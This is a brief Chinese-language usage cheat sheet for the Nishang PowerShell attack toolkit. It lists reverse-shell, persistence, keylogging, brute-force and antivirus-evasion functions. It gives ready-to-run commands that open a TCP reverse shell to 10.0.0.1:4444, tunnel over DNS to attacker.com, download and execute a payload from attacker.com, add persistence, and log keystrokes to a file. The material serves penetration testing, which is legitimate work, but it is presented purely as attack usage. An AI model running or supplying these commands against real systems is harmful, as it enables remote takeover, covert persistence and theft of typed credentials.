Nishang

Nishang

Nishang 是一款 PowerShell 渗透工具集,提供多种攻击和后渗透功能。

基础使用

加载 Nishang

Import-Module ./nishang.psm1

反向 Shell

Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.1 -Port 4444

DNS 隧道

Invoke-PowerShellDns -Domain attacker.com

HTTP 下载执行

Invoke-DownloadExecute -URL http://attacker.com/payload.exe

功能分类

反向 Shell

  • Invoke-PowerShellTcp - TCP 反向 Shell
  • Invoke-PowerShellUdp - UDP 反向 Shell
  • Invoke-PowerShellHttp - HTTP 反向 Shell

持久化

  • Add-Persistence - 添加持久化
  • Backdoor - 后门程序

信息收集

  • Get-Information - 系统信息
  • Get-Keystrokes - 键盘记录

漏洞利用

  • Invoke-BruteForce - 暴力破解
  • Copy-VSS - 卷影复制

功能特性

  • 纯 PowerShell - 无需额外依赖
  • 模块化 - 独立功能模块
  • 免杀 - 多种绕过技术
  • 后渗透 - 丰富的后渗透功能

使用示例

# TCP 反向 Shell
Invoke-PowerShellTcp -Reverse -IPAddress 10.0.0.1 -Port 4444

# 添加持久化
Add-Persistence -ScriptPath ./script.ps1

# 键盘记录
Get-Keystrokes -LogPath C:\temp\keys.txt

# 下载执行
Invoke-DownloadExecute -URL http://attacker.com/payload.exe

参考资源